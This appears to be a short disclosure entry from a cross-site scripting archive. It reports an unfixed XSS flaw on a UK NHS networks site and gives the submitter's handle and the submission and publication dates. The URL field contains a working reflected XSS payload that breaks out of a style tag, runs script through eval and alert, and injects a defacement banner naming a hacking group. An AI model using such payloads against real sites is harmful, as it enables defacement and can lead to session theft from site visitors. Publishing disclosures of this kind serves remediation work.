Security researcher CrashOver, has submitted on 13/12/2008 a cross-site-scripting (XSS) vulnerability affecting www.networks.nhs.uk, which at the time of submission ranked 431666 on the web according to Alexa.
We manually validated and published a mirror of this vulnerability on 14/06/2010. It is currently unfixed.
If you believe that this security issue has been corrected, please send us an e-mail. |
Date submitted: 13/12/2008 |
Date published: 14/06/2010 |
Fixed? Mail us! | Status: UNFIXED |
Author: CrashOver |
Domain: www.networks.nhs.uk |
Category: XSS |
Pagerank: 431666 |
URL: http://www.networks.nhs.uk/uploads/yh/pilotsanddemonstratorsitesinyorksandhumber28march07.xls}</styl e><script>a=eval;b=alert;a(b(/XSS/.source));</script>'"><marquee><h1>www.italianhackingmafia.tk</h1> </marquee> |
Click here to view the mirror
|
|
|